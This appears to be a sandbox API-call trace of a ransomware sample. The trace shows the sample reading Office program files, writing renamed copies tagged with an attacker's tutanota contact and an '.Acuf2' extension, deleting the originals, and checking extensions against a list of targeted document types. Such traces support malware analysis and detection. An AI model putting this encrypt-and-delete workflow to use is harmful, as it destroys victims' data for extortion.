	[0266.743] WriteFile (in: hFile=0x218, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0266.744] ReadFile (in: hFile=0x360, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0266.744] WriteFile (in: hFile=0x218, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0266.744] SetEndOfFile (hFile=0x218) returned 1
	[0266.744] CloseHandle (hObject=0x218) returned 1
	[0266.744] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.744] SetEndOfFile (hFile=0x360) returned 1
	[0266.747] CloseHandle (hObject=0x360) returned 1
	[0266.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0266.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk")) returned 1
	[0266.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67
	[0266.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67
	[0266.747] lstrlenW (lpString=".doc") returned 4
	[0266.747] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0266.747] lstrlenW (lpString=".docx") returned 5
	[0266.747] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0266.747] lstrlenW (lpString=".pdf") returned 4
	[0266.747] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0266.747] lstrlenW (lpString=".xls") returned 4
	[0266.747] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0266.747] lstrlenW (lpString=".xlsx") returned 5
	[0266.747] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0266.747] lstrlenW (lpString=".ppt") returned 4
	[0266.747] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0266.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67
	[0266.747] lstrlenW (lpString=".zip") returned 4
	[0266.748] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0266.748] lstrlenW (lpString=".rar") returned 4
	[0266.748] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0266.748] lstrlenW (lpString=".bz2") returned 4
	[0266.748] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0266.748] lstrlenW (lpString=".7z") returned 3
	[0266.748] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0266.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67
	[0266.748] lstrlenW (lpString=".dbf") returned 4
	[0266.748] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0266.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67
	[0266.748] lstrlenW (lpString=".1cd") returned 4
	[0266.748] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0266.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67
	[0266.748] lstrlenW (lpString=".jpg") returned 4
	[0266.748] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0266.748] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=113) returned 1
	[0266.748] CloseHandle (hObject=0x360) returned 1
	[0266.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk")) returned 0x20
	[0266.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0266.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0266.749] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.749] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0266.749] GetLastError () returned 0x0
	[0266.749] ReadFile (in: hFile=0x360, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x71, lpOverlapped=0x0) returned 1
	[0266.750] WriteFile (in: hFile=0x218, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0266.751] ReadFile (in: hFile=0x360, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0266.751] WriteFile (in: hFile=0x218, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0266.751] SetEndOfFile (hFile=0x218) returned 1
	[0266.751] CloseHandle (hObject=0x218) returned 1
	[0266.751] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.751] SetEndOfFile (hFile=0x360) returned 1
	[0266.755] CloseHandle (hObject=0x360) returned 1
	[0266.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0266.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk")) returned 1
	[0266.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67
	[0266.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67
	[0266.756] lstrlenW (lpString=".doc") returned 4
	[0266.756] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0266.756] lstrlenW (lpString=".docx") returned 5
	[0266.756] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0266.756] lstrlenW (lpString=".pdf") returned 4
	[0266.756] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0266.756] lstrlenW (lpString=".xls") returned 4
	[0266.756] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0266.756] lstrlenW (lpString=".xlsx") returned 5
	[0266.756] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0266.756] lstrlenW (lpString=".ppt") returned 4
	[0266.756] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0266.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67
	[0266.756] lstrlenW (lpString=".zip") returned 4
	[0266.756] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0266.756] lstrlenW (lpString=".rar") returned 4
	[0266.756] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0266.756] lstrlenW (lpString=".bz2") returned 4
	[0266.756] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0266.756] lstrlenW (lpString=".7z") returned 3
	[0266.756] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0266.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67
	[0266.756] lstrlenW (lpString=".dbf") returned 4
	[0266.756] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0266.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67
	[0266.756] lstrlenW (lpString=".1cd") returned 4
	[0266.756] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0266.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67
	[0266.756] lstrlenW (lpString=".jpg") returned 4
	[0266.757] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0266.757] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=2520158) returned 1
	[0266.757] CloseHandle (hObject=0x360) returned 1
	[0266.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs")) returned 0x20
	[0266.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0266.757] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0266.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61
	[0266.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61
	[0266.757] lstrlenW (lpString=".doc") returned 4
	[0266.757] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0266.757] lstrlenW (lpString=".docx") returned 5
	[0266.757] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1
	[0266.757] lstrlenW (lpString=".pdf") returned 4
	[0266.758] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0266.758] lstrlenW (lpString=".xls") returned 4
	[0266.758] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0266.758] lstrlenW (lpString=".xlsx") returned 5
	[0266.758] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1
	[0266.758] lstrlenW (lpString=".ppt") returned 4
	[0266.758] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0266.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61
	[0266.758] lstrlenW (lpString=".zip") returned 4
	[0266.758] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0266.758] lstrlenW (lpString=".rar") returned 4
	[0266.758] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0266.758] lstrlenW (lpString=".bz2") returned 4
	[0266.758] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0266.758] lstrlenW (lpString=".7z") returned 3
	[0266.758] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0266.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61
	[0266.758] lstrlenW (lpString=".dbf") returned 4
	[0266.758] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0266.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61
	[0266.758] lstrlenW (lpString=".1cd") returned 4
	[0266.758] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0266.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61
	[0266.758] lstrlenW (lpString=".jpg") returned 4
	[0266.758] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0266.761] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.762] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0266.762] GetLastError () returned 0x0
	[0266.762] ReadFile (in: hFile=0x360, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x281, lpOverlapped=0x0) returned 1
	[0267.632] WriteFile (in: hFile=0x218, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x290, lpOverlapped=0x0) returned 1
	[0267.632] ReadFile (in: hFile=0x360, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0267.632] WriteFile (in: hFile=0x218, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0267.632] SetEndOfFile (hFile=0x218) returned 1
	[0267.942] CloseHandle (hObject=0x218) returned 1
	[0267.942] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.942] SetEndOfFile (hFile=0x360) returned 1
	[0267.943] CloseHandle (hObject=0x360) returned 1
	[0267.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc")) returned 1
	[0268.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65
	[0268.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65
	[0268.069] lstrlenW (lpString=".doc") returned 4
	[0268.069] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0268.069] lstrlenW (lpString=".docx") returned 5
	[0268.069] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0268.069] lstrlenW (lpString=".pdf") returned 4
	[0268.069] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0268.069] lstrlenW (lpString=".xls") returned 4
	[0268.069] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0268.069] lstrlenW (lpString=".xlsx") returned 5
	[0268.069] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0268.069] lstrlenW (lpString=".ppt") returned 4
	[0268.069] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0268.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65
	[0268.069] lstrlenW (lpString=".zip") returned 4
	[0268.069] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0268.069] lstrlenW (lpString=".rar") returned 4
	[0268.069] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0268.069] lstrlenW (lpString=".bz2") returned 4
	[0268.069] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0268.069] lstrlenW (lpString=".7z") returned 3
	[0268.069] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0268.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65
	[0268.069] lstrlenW (lpString=".dbf") returned 4
	[0268.069] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0268.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65
	[0268.069] lstrlenW (lpString=".1cd") returned 4
	[0268.069] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0268.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65
	[0268.070] lstrlenW (lpString=".jpg") returned 4
	[0268.070] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0268.077] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=114) returned 1
	[0268.077] CloseHandle (hObject=0x370) returned 1
	[0268.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk")) returned 0x20
	[0268.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0268.078] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.078] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0268.097] GetLastError () returned 0x0
	[0268.097] ReadFile (in: hFile=0x370, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x72, lpOverlapped=0x0) returned 1
	[0268.098] WriteFile (in: hFile=0x274, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0268.099] ReadFile (in: hFile=0x370, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.099] WriteFile (in: hFile=0x274, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xfe, lpOverlapped=0x0) returned 1
	[0268.099] SetEndOfFile (hFile=0x274) returned 1
	[0268.099] CloseHandle (hObject=0x274) returned 1
	[0268.100] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.100] SetEndOfFile (hFile=0x370) returned 1
	[0268.102] CloseHandle (hObject=0x370) returned 1
	[0268.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk")) returned 1
	[0268.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69
	[0268.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69
	[0268.121] lstrlenW (lpString=".doc") returned 4
	[0268.121] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0268.121] lstrlenW (lpString=".docx") returned 5
	[0268.121] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0268.121] lstrlenW (lpString=".pdf") returned 4
	[0268.121] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0268.121] lstrlenW (lpString=".xls") returned 4
	[0268.121] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0268.121] lstrlenW (lpString=".xlsx") returned 5
	[0268.121] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0268.121] lstrlenW (lpString=".ppt") returned 4
	[0268.121] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0268.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69
	[0268.121] lstrlenW (lpString=".zip") returned 4
	[0268.121] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0268.122] lstrlenW (lpString=".rar") returned 4
	[0268.122] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0268.122] lstrlenW (lpString=".bz2") returned 4
	[0268.122] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0268.122] lstrlenW (lpString=".7z") returned 3
	[0268.122] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0268.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69
	[0268.122] lstrlenW (lpString=".dbf") returned 4
	[0268.122] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0268.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69
	[0268.122] lstrlenW (lpString=".1cd") returned 4
	[0268.122] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0268.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69
	[0268.122] lstrlenW (lpString=".jpg") returned 4
	[0268.122] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0269.330] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.330] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0269.331] GetLastError () returned 0x0
	[0269.331] ReadFile (in: hFile=0x38c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xffff0, lpOverlapped=0x0) returned 1
	[0269.389] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0269.407] ReadFile (in: hFile=0x38c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x68416, lpOverlapped=0x0) returned 1
	[0269.521] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x68420, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x68420, lpOverlapped=0x0) returned 1
	[0269.531] ReadFile (in: hFile=0x38c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.531] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0269.531] SetEndOfFile (hFile=0x334) returned 1
	[0269.531] CloseHandle (hObject=0x334) returned 1
